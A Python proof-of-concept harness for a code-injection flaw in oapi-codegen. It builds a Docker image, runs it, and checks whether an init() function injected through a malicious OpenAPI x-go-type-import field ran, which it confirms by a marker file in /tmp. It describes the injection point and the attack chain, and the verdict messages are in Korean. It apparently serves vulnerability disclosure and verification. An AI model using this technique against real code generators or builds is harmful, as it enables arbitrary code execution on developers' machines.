OpenAPI `x-go-type-import` Generated Go Code Injection

#!/usr/bin/env python3
"""
PoC for VULN-001: OpenAPI x-go-type-import Generated Go Code Injection
CWE-94 — Improper Control of Generation of Code
CVSS 3.1: 7.8 High (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)

Vulnerability: oapi-codegen copies x-go-type-import.name into generated Go
source without sanitization. A malicious OpenAPI spec can inject arbitrary Go
code that executes when the generated package is compiled/initialized.

Attack chain:
  malicious spec --> oapi-codegen --> injected init() in generated .go
                 --> go test/build --> arbitrary code runs at package init

Usage:
    python3 poc.py

Expected result (PASS): The container creates /tmp/oapi-pwned containing
    "PWNED: x-go-type-import code injection confirmed"
    proving that the injected init() function executed.
"""

import json
import os
import subprocess
import sys

# ──────────────────────────────────────────────────────────────────────────────
# Paths
# ──────────────────────────────────────────────────────────────────────────────
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
# Docker build context: the parent directory that contains both repo/ and
# vuln-001/ so that the Dockerfile can COPY both trees.
CONTEXT_DIR = os.path.dirname(SCRIPT_DIR)

IMAGE_NAME = "vuln-001-oapi-codegen-injection"
RESULT_PATH = os.path.join(SCRIPT_DIR, "phase2_result.json")

BUILD_CMD = f"docker build -t {IMAGE_NAME} -f vuln-001/Dockerfile ."
RUN_CMD = f"docker run --rm {IMAGE_NAME}"
POC_CMD = "python3 poc.py"


def run(argv, **kwargs):
    """Run a subprocess, streaming output, and return CompletedProcess."""
    print(f"[cmd] {' '.join(argv)}")
    result = subprocess.run(argv, capture_output=True, text=True, **kwargs)
    return result


def write_result(passed, verdict, reason, evidence, build_cmd=BUILD_CMD,
                 run_cmd=RUN_CMD, poc_cmd=POC_CMD):
    data = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": build_cmd,
        "run_command": run_cmd,
        "poc_command": poc_cmd,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    with open(RESULT_PATH, "w", encoding="utf-8") as fh:
        json.dump(data, fh, ensure_ascii=False, indent=2)
    print(f"[*] Result written to {RESULT_PATH}")
    return data


def main():
    # ──────────────────────────────────────────────────────────────────────────
    # Step 1 – Build Docker image.
    # ──────────────────────────────────────────────────────────────────────────
    print("\n[*] Building Docker image (this downloads Go deps; may take a few minutes)...")
    build_result = run(
        ["docker", "build", "-t", IMAGE_NAME, "-f", "vuln-001/Dockerfile", "."],
        cwd=CONTEXT_DIR,
    )
    if build_result.returncode != 0:
        msg = build_result.stderr[-2000:] if build_result.stderr else "(no stderr)"
        print(f"[-] Docker build failed:\n{msg}")
        write_result(
            passed=False,
            verdict="INCOMPLETE",
            reason=f"Docker 이미지 빌드 실패. 빌드 오류: {msg[:300]}",
            evidence=msg[:500],
        )
        return 1

    print("[+] Docker image built successfully.")

    # ──────────────────────────────────────────────────────────────────────────
    # Step 2 – Run the container, which executes run.sh.
    # ──────────────────────────────────────────────────────────────────────────
    print("\n[*] Running PoC container...")
    run_result = run(
        ["docker", "run", "--rm", IMAGE_NAME],
        cwd=CONTEXT_DIR,
    )

    combined = run_result.stdout + "\n" + run_result.stderr
    print("\n──── Container output ─────────────────────────────────────────")
    print(combined[:8000])
    print("───────────────────────────────────────────────────────────────")

    # ──────────────────────────────────────────────────────────────────────────
    # Step 3 – Evaluate evidence.
    #
    # PASS criteria (all must hold):
    #   (a) "func init()" appears in the generated Go source.
    #   (b) The marker file /tmp/oapi-pwned was created (evidenced by the
    #       "INJECTION PROOF" banner and the "PWNED:" string).
    #   (c) Container exited 0.
    # ──────────────────────────────────────────────────────────────────────────
    has_init_injection = "func init()" in combined
    has_marker_proof = "INJECTION PROOF" in combined and "PWNED:" in combined
    container_ok = run_result.returncode == 0

    if has_init_injection and has_marker_proof and container_ok:
        # Extract the most relevant evidence snippet.
        lines = combined.splitlines()
        evidence_lines = [
            l for l in lines
            if any(k in l for k in [
                "func init()", "INJECTION PROOF", "PWNED:", "EXPLOIT CONFIRMED",
                "Marker file", "Content:",
            ])
        ]
        evidence = "\n".join(evidence_lines[:20])

        print("\n[+] EXPLOIT CONFIRMED")
        result = write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "x-go-type-import.name 필드에 삽입된 다중 라인 페이로드가 oapi-codegen의 "
                "무검증 복사(utils.go:1161)를 통해 imports.tmpl:37의 {{ . }}에 직접 삽입되어, "
                "임포트 블록을 조기에 닫고 패키지 수준의 init() 함수를 주입하는 데 성공했다. "
                "생성된 패키지를 go test로 초기화하자 init()가 실행되어 마커 파일 "
                "/tmp/oapi-pwned 가 생성됨으로써 임의 코드 실행이 동적으로 확인되었다."
            ),
            evidence=evidence,
        )
        print(json.dumps(result, ensure_ascii=False, indent=2))
        return 0

    # ──────────────────────────────────────────────────────────────────────────
    # Partial or total failure
    # ──────────────────────────────────────────────────────────────────────────
    if has_init_injection and not has_marker_proof:
        verdict = "INCOMPLETE"
        reason = (
            "생성된 Go 소스에 init() 주입은 확인됐으나 마커 파일이 생성되지 않았다. "
            "go test 컴파일 실패 가능성 있음. 생성된 코드의 외부 의존성 확인 필요. "
            "run.sh의 Attempt B(외부 패키지 포함 go.mod) 로그를 점검하거나, "
            "인터넷 접근이 가능한 환경에서 재시도 권장."
        )
    else:
        verdict = "FAIL"
        reason = (
            "생성된 Go 소스에 init() 주입이 확인되지 않았다. "
            "오api-codegen이 x-go-type-import.name을 다르게 처리했거나, "
            "YAML 파싱 단계에서 페이로드가 변형되었을 가능성이 있다. "
            "poc.yaml의 들여쓰기 및 블록 스칼라 문법을 재검토하고, "
            "컨테이너 로그에서 oapi-codegen stderr를 확인할 것."
        )

    evidence = combined[-2000:]
    result = write_result(
        passed=False,
        verdict=verdict,
        reason=reason,
        evidence=evidence,
    )
    print(json.dumps(result, ensure_ascii=False, indent=2))
    return 1


if __name__ == "__main__":
    sys.exit(main())